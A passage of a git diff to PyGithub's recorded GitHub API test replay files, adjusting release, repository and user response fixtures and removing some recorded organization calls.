{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22848494","id":22848494,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODQ4NDk0","name":"fact","label":null,"uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":40,"download_count":0,"created_at":"2020-07-14T00:58:17Z","updated_at":"2020-07-14T00:58:18Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.0/fact"} - diff --git a/tests/ReplayData/ReleaseRead.testGetLatestRelease.txt b/tests/ReplayData/ReleaseRead.testGetLatestRelease.txt index e00373035d..d63d70310c 100644 --- a/tests/ReplayData/ReleaseRead.testGetLatestRelease.txt +++ b/tests/ReplayData/ReleaseRead.testGetLatestRelease.txt @@ -30,4 +30,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:46:23 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4815'), ('X-RateLimit-Reset', '1594712356'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0af43d7e5a11d1f3e8c6a83292de12c0"'), ('Last-Modified', 'Tue, 14 Jul 2020 00:58:20 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BEB4:5E2B:554242:BECFAC:5F0D54BF')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.0","id":28524234,"node_id":"MDc6UmVsZWFzZTI4NTI0MjM0","tag_name":"v1.0","target_commitish":"master","name":"Test","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T00:58:20Z","assets":[{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22848494","id":22848494,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODQ4NDk0","name":"fact","label":null,"uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":40,"download_count":0,"created_at":"2020-07-14T00:58:17Z","updated_at":"2020-07-14T00:58:18Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.0/fact"}],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.0","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.0","body":"Body"} - diff --git a/tests/ReplayData/ReleaseRead.testGetRelease.txt b/tests/ReplayData/ReleaseRead.testGetRelease.txt index 9d99d5e934..da48463f14 100644 --- a/tests/ReplayData/ReleaseRead.testGetRelease.txt +++ b/tests/ReplayData/ReleaseRead.testGetRelease.txt @@ -63,4 +63,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:46:26 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4809'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0af43d7e5a11d1f3e8c6a83292de12c0"'), ('Last-Modified', 'Tue, 14 Jul 2020 00:58:20 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '81B6:0D15:BF7380:14492E8:5F0D54C2')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.0","id":28524234,"node_id":"MDc6UmVsZWFzZTI4NTI0MjM0","tag_name":"v1.0","target_commitish":"master","name":"Test","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T00:58:20Z","assets":[{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22848494","id":22848494,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODQ4NDk0","name":"fact","label":null,"uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":40,"download_count":0,"created_at":"2020-07-14T00:58:17Z","updated_at":"2020-07-14T00:58:18Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.0/fact"}],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.0","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.0","body":"Body"} - diff --git a/tests/ReplayData/Repository.setUp.txt b/tests/ReplayData/Repository.setUp.txt index 2e04f9b255..830a517e3b 100644 --- a/tests/ReplayData/Repository.setUp.txt +++ b/tests/ReplayData/Repository.setUp.txt @@ -7,7 +7,7 @@ None None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4912'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"8d4bf64381cca7c6ba5753129f5fc552"'), ('date', 'Sun, 27 May 2012 07:17:08 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"type":"User","disk_usage":16976,"public_gists":3,"bio":"","blog":"http://vincent-jacques.net","url":"https://api.github.com/users/jacquev6","private_gists":5,"collaborators":0,"plan":{"private_repos":5,"collaborators":1,"name":"micro","space":614400},"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","email":"vincent@vincent-jacques.net","total_private_repos":5,"followers":13,"name":"Vincent Jacques","public_repos":11,"created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"owned_private_repos":5,"following":24,"html_url":"https://github.com/jacquev6","hireable":false} +{"type":"User","disk_usage":16976,"public_gists":3,"bio":"","blog":"http://vincent-jacques.net","url":"https://api.github.com/users/jacquev6","private_gists":5,"collaborators":0,"plan":{"private_repos":5,"collaborators":1,"name":"micro","space":614400},"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","email":"vincent@vincent-jacques.net","total_private_repos":5,"followers":13,"name":"Vincent Jacques","public_repos":11,"created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"owned_private_repos":5,"following":24,"html_url":"https://github.com/jacquev6","hireable":false, "use_squash_pr_title_as_default": true, "squash_merge_commit_title": "PR_TITLE", "squash_merge_commit_message": "COMMIT_MESSAGES", "merge_commit_title": "PR_TITLE", "merge_commit_message": "PR_BODY", "web_commit_signoff_required": true} https GET @@ -18,26 +18,4 @@ None None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4911'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1a93ec821b0bd7094340a9fc34017aa0"'), ('date', 'Sun, 27 May 2012 07:17:09 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":15,"git_url":"git://github.com/jacquev6/PyGithub.git","deployments_url":"https://api.github.com/repos/jacquev6/PyGithub/deployments","releases_url":"https://api.github.com/repos/jacquev6/PyGithub/releases{/id}","updated_at":"2012-05-27T06:55:28Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","mirror_url":null,"has_pages":false,"has_wiki":false,"has_issues":true,"fork":false,"forks":3,"size":308,"private":false,"open_issues":16,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-27T06:00:28Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub","security_and_analysis":{"advanced_security":{"status":"enabled"},"secret_scanning":{"status":"enabled"},"secret_scanning_push_protection":{"status":"disabled"}}} - -https -GET -api.github.com -None -/orgs/coveo -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Tue, 06 Jul 2021 20:10:36 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"68a2146ceb72eec9537d979edca2af4c8ccc7e0f66a293e73b651b1bc88b5452"'), ('Last-Modified', 'Thu, 18 Mar 2021 11:47:26 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org, read:org, repo, user, write:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1625605212'), ('X-RateLimit-Used', '16'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FA49:3F41:1FE8570:523A227:60E4B8BB')] -{"login":"coveo","id":8632328,"node_id":"MDEyOk9yZ2FuaXphdGlvbjg2MzIzMjg=","url":"https://api.github.com/orgs/coveo","repos_url":"https://api.github.com/orgs/coveo/repos","events_url":"https://api.github.com/orgs/coveo/events","hooks_url":"https://api.github.com/orgs/coveo/hooks","issues_url":"https://api.github.com/orgs/coveo/issues","members_url":"https://api.github.com/orgs/coveo/members{/member}","public_members_url":"https://api.github.com/orgs/coveo/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/8632328?v=4","description":"Coveo's Private & Open Source Lair","name":"Coveo","company":null,"blog":"https://www.coveo.com","location":"Québec, QC, Canada","email":null,"twitter_username":null,"is_verified":true,"has_organization_projects":true,"has_repository_projects":true,"public_repos":32,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/coveo","created_at":"2014-09-02T18:52:13Z","updated_at":"2021-03-18T11:47:26Z","type":"Organization","total_private_repos":123,"owned_private_repos":123,"private_gists":0,"disk_usage":999999,"collaborators":123,"billing_email":"redacted@coveo.com","default_repository_permission":"write","members_can_create_repositories":true,"two_factor_requirement_enabled":false,"members_can_create_pages":true,"members_can_create_public_pages":true,"members_can_create_private_pages":true,"plan":{"name":"enterprise","space":976562499,"private_repos":999999,"filled_seats":999,"seats":999}} - -https -GET -api.github.com -None -/repos/coveo/github-api-playground -{'Accept': 'application/vnd.github.nebula-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Tue, 06 Jul 2021 20:10:36 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e02a81404d59c11f618842b4ec8fa95f3939569e7bcd261e0166ce0a561c80fb"'), ('Last-Modified', 'Tue, 06 Jul 2021 19:53:04 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1625605212'), ('X-RateLimit-Used', '17'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FA4A:0868:2D363FA:5798DC4:60E4B8BC')] -{"id":383583319,"node_id":"MDEwOlJlcG9zaXRvcnkzODM1ODMzMTk=","name":"github-api-playground","full_name":"coveo/github-api-playground","private":true,"owner":{"login":"coveo","id":8632328,"node_id":"MDEyOk9yZ2FuaXphdGlvbjg2MzIzMjg=","avatar_url":"https://avatars.githubusercontent.com/u/8632328?v=4","gravatar_id":"","url":"https://api.github.com/users/coveo","html_url":"https://github.com/coveo","followers_url":"https://api.github.com/users/coveo/followers","following_url":"https://api.github.com/users/coveo/following{/other_user}","gists_url":"https://api.github.com/users/coveo/gists{/gist_id}","starred_url":"https://api.github.com/users/coveo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coveo/subscriptions","organizations_url":"https://api.github.com/users/coveo/orgs","repos_url":"https://api.github.com/users/coveo/repos","events_url":"https://api.github.com/users/coveo/events{/privacy}","received_events_url":"https://api.github.com/users/coveo/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/coveo/github-api-playground","description":"To test GitHub API","fork":false,"url":"https://api.github.com/repos/coveo/github-api-playground","forks_url":"https://api.github.com/repos/coveo/github-api-playground/forks","keys_url":"https://api.github.com/repos/coveo/github-api-playground/keys{/key_id}","collaborators_url":"https://api.github.com/repos/coveo/github-api-playground/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/coveo/github-api-playground/teams","hooks_url":"https://api.github.com/repos/coveo/github-api-playground/hooks","issue_events_url":"https://api.github.com/repos/coveo/github-api-playground/issues/events{/number}","events_url":"https://api.github.com/repos/coveo/github-api-playground/events","assignees_url":"https://api.github.com/repos/coveo/github-api-playground/assignees{/user}","branches_url":"https://api.github.com/repos/coveo/github-api-playground/branches{/branch}","tags_url":"https://api.github.com/repos/coveo/github-api-playground/tags","blobs_url":"https://api.github.com/repos/coveo/github-api-playground/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/coveo/github-api-playground/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/coveo/github-api-playground/git/refs{/sha}","trees_url":"https://api.github.com/repos/coveo/github-api-playground/git/trees{/sha}","statuses_url":"https://api.github.com/repos/coveo/github-api-playground/statuses/{sha}","languages_url":"https://api.github.com/repos/coveo/github-api-playground/languages","stargazers_url":"https://api.github.com/repos/coveo/github-api-playground/stargazers","contributors_url":"https://api.github.com/repos/coveo/github-api-playground/contributors","subscribers_url":"https://api.github.com/repos/coveo/github-api-playground/subscribers","subscription_url":"https://api.github.com/repos/coveo/github-api-playground/subscription","commits_url":"https://api.github.com/repos/coveo/github-api-playground/commits{/sha}","git_commits_url":"https://api.github.com/repos/coveo/github-api-playground/git/commits{/sha}","comments_url":"https://api.github.com/repos/coveo/github-api-playground/comments{/number}","issue_comment_url":"https://api.github.com/repos/coveo/github-api-playground/issues/comments{/number}","contents_url":"https://api.github.com/repos/coveo/github-api-playground/contents/{+path}","compare_url":"https://api.github.com/repos/coveo/github-api-playground/compare/{base}...{head}","merges_url":"https://api.github.com/repos/coveo/github-api-playground/merges","archive_url":"https://api.github.com/repos/coveo/github-api-playground/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/coveo/github-api-playground/downloads","issues_url":"https://api.github.com/repos/coveo/github-api-playground/issues{/number}","pulls_url":"https://api.github.com/repos/coveo/github-api-playground/pulls{/number}","milestones_url":"https://api.github.com/repos/coveo/github-api-playground/milestones{/number}","notifications_url":"https://api.github.com/repos/coveo/github-api-playground/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/coveo/github-api-playground/labels{/name}","releases_url":"https://api.github.com/repos/coveo/github-api-playground/releases{/id}","deployments_url":"https://api.github.com/repos/coveo/github-api-playground/deployments","created_at":"2021-07-06T19:53:04Z","updated_at":"2021-07-06T19:53:04Z","pushed_at":"2021-07-06T19:53:06Z","git_url":"git://github.com/coveo/github-api-playground.git","ssh_url":"git@github.com:coveo/github-api-playground.git","clone_url":"https://github.com/coveo/github-api-playground.git","svn_url":"https://github.com/coveo/github-api-playground","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"ABL6CD4CELICUR6RYTWIG63A4S46Q","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"organization":{"login":"coveo","id":8632328,"node_id":"MDEyOk9yZ2FuaXphdGlvbjg2MzIzMjg=","avatar_url":"https://avatars.githubusercontent.com/u/8632328?v=4","gravatar_id":"","url":"https://api.github.com/users/coveo","html_url":"https://github.com/coveo","followers_url":"https://api.github.com/users/coveo/followers","following_url":"https://api.github.com/users/coveo/following{/other_user}","gists_url":"https://api.github.com/users/coveo/gists{/gist_id}","starred_url":"https://api.github.com/users/coveo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coveo/subscriptions","organizations_url":"https://api.github.com/users/coveo/orgs","repos_url":"https://api.github.com/users/coveo/repos","events_url":"https://api.github.com/users/coveo/events{/privacy}","received_events_url":"https://api.github.com/users/coveo/received_events","type":"Organization","site_admin":false},"network_count":0,"subscribers_count":0} +{"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":15,"git_url":"git://github.com/jacquev6/PyGithub.git","deployments_url":"https://api.github.com/repos/jacquev6/PyGithub/deployments","releases_url":"https://api.github.com/repos/jacquev6/PyGithub/releases{/id}","updated_at":"2012-05-27T06:55:28Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","mirror_url":null,"has_pages":false,"has_wiki":false,"has_issues":true,"fork":false,"forks":3,"size":308,"private":false,"open_issues":16,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-27T06:00:28Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub", "use_squash_pr_title_as_default": true, "squash_merge_commit_title": "PR_TITLE", "squash_merge_commit_message": "COMMIT_MESSAGES", "merge_commit_title": "PR_TITLE", "merge_commit_message": "PR_BODY", "web_commit_signoff_required": true, "license": {"key": "lgpl-3.0", "name": "GNU Lesser General Public License v3.0", "spdx_id": "LGPL-3.0", "url": "https://api.github.com/licenses/lgpl-3.0", "node_id": "MDc6TGljZW5zZTEy"}, "security_and_analysis":{"advanced_security":{"status":"enabled"},"secret_scanning":{"status":"enabled"},"secret_scanning_push_protection":{"status":"disabled"}}} diff --git a/tests/ReplayData/Repository.testAssignees.txt b/tests/ReplayData/Repository.testAssignees.txt index 1a97160e76..2f192be4cd 100644 --- a/tests/ReplayData/Repository.testAssignees.txt +++ b/tests/ReplayData/Repository.testAssignees.txt @@ -96,4 +96,3 @@ None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4989'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('content-length', '23'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Fri, 07 Sep 2012 23:12:29 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} - diff --git a/tests/ReplayData/Repository.testBadSubscribePubSubHubbub.txt b/tests/ReplayData/Repository.testBadSubscribePubSubHubbub.txt index fa0b9eb259..f2c769fae2 100644 --- a/tests/ReplayData/Repository.testBadSubscribePubSubHubbub.txt +++ b/tests/ReplayData/Repository.testBadSubscribePubSubHubbub.txt @@ -8,4 +8,3 @@ None 422 [('status', '422 Unprocessable Entity'), ('content-length', '51'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-remaining', '4994'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Tue, 05 Feb 2013 18:58:01 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Invalid event: \"non-existing-event\""} - diff --git a/tests/ReplayData/Repository.testCodeScanAlerts.txt b/tests/ReplayData/Repository.testCodeScanAlerts.txt index e2923a65d1..d11a0b6288 100644 --- a/tests/ReplayData/Repository.testCodeScanAlerts.txt +++ b/tests/ReplayData/Repository.testCodeScanAlerts.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4963'), ('content-length', '318'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"3ce61bc2417a6a4f7b47976a7969c711"'), ('date', 'Sun, 20 May 2012 12:10:52 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"analysis_key": "instances[0].analysis_key", "ref": "instances[0].ref", "state": "instances[0].state", "classifications": ["instances[0].classifications"], "commit_sha": "instances[0].commit_sha", "environment": "instances[0].environment", "message": {"text": "instances[0].message"}, "location": {"path": "tests/ReplayData/Repository.testCodeScanAlerts.txt", "start_line": 10, "start_column": 2, "end_line": 10, "end_column": 48}}, {"analysis_key": "instances[1].analysis_key", "ref": "instances[1].ref", "state": "instances[1].state", "classifications": ["instances[1].classifications"], "commit_sha": "instances[1].commit_sha", "environment": "instances[1].environment", "message": {"text": "instances[1].message"}, "location": {"path": "tests/ReplayData/Repository.testCodeScanAlerts.txt", "start_line": 20, "start_column": 17, "end_line": 20, "end_column": 42}}] - diff --git a/tests/ReplayData/Repository.testCollaborators.txt b/tests/ReplayData/Repository.testCollaborators.txt index 